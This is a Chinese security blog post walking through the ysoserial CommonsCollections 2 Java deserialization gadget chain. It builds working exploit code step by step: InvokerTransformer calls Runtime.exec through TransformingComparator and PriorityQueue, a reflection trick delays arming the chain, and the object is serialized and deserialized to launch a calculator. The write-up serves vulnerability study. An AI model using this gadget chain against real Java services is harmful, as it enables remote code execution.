『代码审计』ysoserial CommonsCollections 2 反序列化分析

点击蓝字

关注我们



日期:2022-11-14
作者:ICDAT
介绍:这篇文章主要是对 ysoserial CommonsCollections 2 反序列化链分析。

0x00 前言

idea新建一个maven项目,pom.xml中加入依赖。

    <dependencies>        <dependency>            <groupId>org.apache.commons</groupId>            <artifactId>commons-collections4</artifactId>            <version>4.0</version>        </dependency>        <dependency>            <groupId>org.javassist</groupId>            <artifactId>javassist</artifactId>            <version>3.19.0-GA</version>        </dependency>    </dependencies>

CommonsCollections 2是基于commons-collections4的。

这里需要说明一下,我们之前对CommonsCollections 5、CommonsCollections 6和CommonsCollections 1的分析都是基于commons-collections库的。commons-collections4和commons-collections两者的关系的话,commons-collections4算是架构优化版的commons-collections。既然架构有改动,那么代码有改动也是正常的,幸运的是commons-collections4上之前的利用链修改一下调用方法就可以跑通之前分析的调用。这里不做过多分析,后续补充。

0x01 ysoserial payload

查看ysoserialpayload

package ysoserial.payloads;
import java.util.PriorityQueue;import java.util.Queue;
import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;

/* Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec() */
@SuppressWarnings({ "rawtypes", "unchecked" })@Dependencies({ "org.apache.commons:commons-collections4:4.0" })@Authors({ Authors.FROHOFF })public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer)); // stub data for replacement later queue.add(1); queue.add(1);
// switch method called by comparator Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates; queueArray[1] = 1;
return queue; }
public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections2.class, args); }
}

先不分析ysoserial的利用,我们按照之前的思路,自己来写写,先提取CC2的利用链。

    Gadget chain:        ObjectInputStream.readObject()            PriorityQueue.readObject()                ...                    TransformingComparator.compare()                        InvokerTransformer.transform()                            Method.invoke()                                Runtime.exec()

对比一下CC1的利用链。

    Gadget chain:        ObjectInputStream.readObject()            AnnotationInvocationHandler.readObject()                Map(Proxy).entrySet()                    AnnotationInvocationHandler.invoke()                        LazyMap.get()                            ChainedTransformer.transform()                                ConstantTransformer.transform()                                InvokerTransformer.transform()                                    Method.invoke()                                        Class.getMethod()                                InvokerTransformer.transform()                                    Method.invoke()                                        Runtime.getRuntime()                                InvokerTransformer.transform()                                    Method.invoke()                                        Runtime.exec()

两者对比,我们发现,CC2没有使用我们之前分析CC5CC6CC1的时候熟悉的LazyMap.get()->ChainedTransformer.transform()的调用,使用了一个 TransformingComparator.compare()

下面,我们来看一下这个方法。

『代码审计』ysoserial CommonsCollections 2 反序列化分析

0x02 TransformingComparator

org.apache.commons.collections4.comparators.TransformingComparator实现了SerializableComparator接口。

『代码审计』ysoserial CommonsCollections 2 反序列化分析

查看其compare()方法,其调用了transform()方法。

『代码审计』ysoserial CommonsCollections 2 反序列化分析

CC1的利用链,LazyMap.get()也调用了transform()方法。

『代码审计』ysoserial CommonsCollections 2 反序列化分析

查看其构造方法和属性。

两个构造方法:

『代码审计』ysoserial CommonsCollections 2 反序列化分析

属性值:

『代码审计』ysoserial CommonsCollections 2 反序列化分析

我们尝试来编写代码来实现计算器。

package ysoserial.payloads;
//这里使用的就是collections4库import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;


public class TestCC2Setp1 { public static void main(String[] args) { Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}) }; Transformer chain = new ChainedTransformer(transformers); TransformingComparator tr = new TransformingComparator(chain); tr.compare(1,2); }}

页面成功弹窗。

『代码审计』ysoserial CommonsCollections 2 反序列化分析

因为compare()方法调用了两次transform方法,所以会有两个计算器弹出。

类比CC1中,我们要去找调用LazyMap.get()的且存在readObject调用的类,那现在需要的是找哪里调用了TransformingComparator.compare()

0x03 PriorityQueue

该类实现了Serializable接口。

『代码审计』ysoserial CommonsCollections 2 反序列化分析

存在readObject方法,并调用了heapify方法。

『代码审计』ysoserial CommonsCollections 2 反序列化分析

heapify方法调用了siftDown方法。

『代码审计』ysoserial CommonsCollections 2 反序列化分析

siftDown方法调用了siftDownUsingComparator方法。

『代码审计』ysoserial CommonsCollections 2 反序列化分析

siftDownUsingComparator方法调用了compartor.compare()

『代码审计』ysoserial CommonsCollections 2 反序列化分析

因为TransformingComparator实现了Comparator接口,所以上述调用链可利用。

为了编写相关利用代码,我们需要知道该类以及在调用链中的方法的作用,那么就是得了解一些前置的知识。

PriorityQueue是一个有限队列,他可以由用户指定优先级,通过comparator来实现。heapify()方法大致作用是找寻最后一个非叶节点,然后倒序进行下移的siftDown操作。siftDownUsingComparator()方法是在存在比较器的情况下,使用比较器进行大小比较,然后进行下移的操作。

『代码审计』ysoserial CommonsCollections 2 反序列化分析

compartorPriorityQueue类属性,我们可以传入TransformingComparator对象。这里我们已经给队列的元素指定了比较器。

根据上述条件,比较好构造的构造方法可以考虑下面的,使用指定的初始大小和比较器来构造一个优先队列。

『代码审计』ysoserial CommonsCollections 2 反序列化分析

ps:不使用只传入比较器的PriorityQueue类对象构造方法是因为该方法指定了队列的初始化大小为11。相比固定值,我们自己可选显然更方便。

『代码审计』ysoserial CommonsCollections 2 反序列化分析

既然存在比较大小,那么PriorityQueue类对象的初始大小最小为2,我们只需要往队列里面填充2个元素即可。

根据以上条件,我们可以编写下列代码:

package ysoserial.payloads;
//这里使用的就是collections4库import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;
import java.util.PriorityQueue;

public class TestCC2Setp2 { public static void main(String[] args) { Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}) }; Transformer chain = new ChainedTransformer(transformers); TransformingComparator tr = new TransformingComparator(chain);
PriorityQueue priorityQueue = new PriorityQueue(2, tr); priorityQueue.add(1); priorityQueue.add(2); }}

如果你直接运行,你就会发现,这段代码执行后直接弹窗了两个计算器。
按照上述的逻辑,这里没有调用序列化相关的代码,不应该现在触发弹窗。

后续进行调试发现了问题所在,在于PriorityQueue对象的add()方法。
上述代码的队列添加元素1后未触发弹窗,添加元素2后触发弹窗。

add方法处添加断点进行调试。

『代码审计』ysoserial CommonsCollections 2 反序列化分析

发现其调用offer方法,且队列值大于1时调用siftUp方法。

『代码审计』ysoserial CommonsCollections 2 反序列化分析

siftUp在比较器不为空的时候,调用siftUpUsingComparator方法。

『代码审计』ysoserial CommonsCollections 2 反序列化分析

siftUpUsingComparator方法调用compare方法触发计算器。

『代码审计』ysoserial CommonsCollections 2 反序列化分析

这个问题也好解决,初始化时比较器时传入一个空Transformer数组,在队列添加完元素后,通过反射修改队列的比较器的值为可执行弹窗的Transformer数组。

这个过程类似在URLDNS 利用链的时候,解决HashMap.put()触发DNS查询的问题。

修改后的代码如下:

package ysoserial.payloads;
//这里使用的就是collections4库import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;
import java.lang.reflect.Field;import java.util.PriorityQueue;

public class TestCC2Setp2 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}) }; //new空的Transformer Transformer[] temp = {}; Transformer chain = new ChainedTransformer(temp); //生成比较器 TransformingComparator tr = new TransformingComparator(chain); //初始化队列并添加元素 PriorityQueue priorityQueue = new PriorityQueue(2, tr); priorityQueue.add(1); priorityQueue.add(2);
//反射设置ChainedTransformer的值为需要执行的transformers Field trans = chain.getClass().getDeclaredField("iTransformers"); trans.setAccessible(true); trans.set(chain,transformers);
}}

那么添加序列化和反序列后的完整代码如下:

package ysoserial.payloads;
//这里使用的就是collections4库import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;

public class CC2 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}) }; //new空的Transformer Transformer[] temp = {}; Transformer chain = new ChainedTransformer(temp); //生成比较器 TransformingComparator tr = new TransformingComparator(chain); //初始化队列并添加元素 PriorityQueue priorityQueue = new PriorityQueue(2, tr); priorityQueue.add(1); priorityQueue.add(2);
//反射设置ChainedTransformer的值为需要执行的transformers Field trans = chain.getClass().getDeclaredField("iTransformers"); trans.setAccessible(true); trans.set(chain,transformers);
serialize(priorityQueue); deserialize(); } public static void serialize(Object obj) { try { ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser")); os.writeObject(obj); os.close(); } catch (Exception e) { e.printStackTrace(); } }
public static void deserialize() { try { ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser")); is.readObject(); } catch (Exception e) { e.printStackTrace(); } }}

0x04 结语

CC2和之前分析的CC5CC1CC6利用链不同,没有通过各种方法来调用LazyMap.get()方法,而是通过找到了TransformingComparator.compare()来进行'替换'。这就像一个利用链的分叉,最终都为了实现执行构造的命令。

同时不难发现, ysoserialpayload没有构造弹窗的Transformer数组,这里的利用就放在下次再说了。

Reference

【1】Java 安全漫谈

【2】PriorityQueue源码分析:

https://www.cnblogs.com/linghu-java/p/9467805.html

『代码审计』ysoserial CommonsCollections 1 反序列化分析

7月18日

『代码审计』ysoserial CommonsCollections 2 反序列化分析

阅读全文

『代码审计』ysoserial CommonsCollections 2 反序列化分析

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

『代码审计』ysoserial CommonsCollections 2 反序列化分析

宸极实验室

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。

原文始发于微信公众号(宸极实验室):『代码审计』ysoserial CommonsCollections 2 反序列化分析

版权声明:admin 发表于 2022年11月14日 下午5:01。
转载请注明:『代码审计』ysoserial CommonsCollections 2 反序列化分析 | CTF导航

相关文章

暂无评论

暂无评论...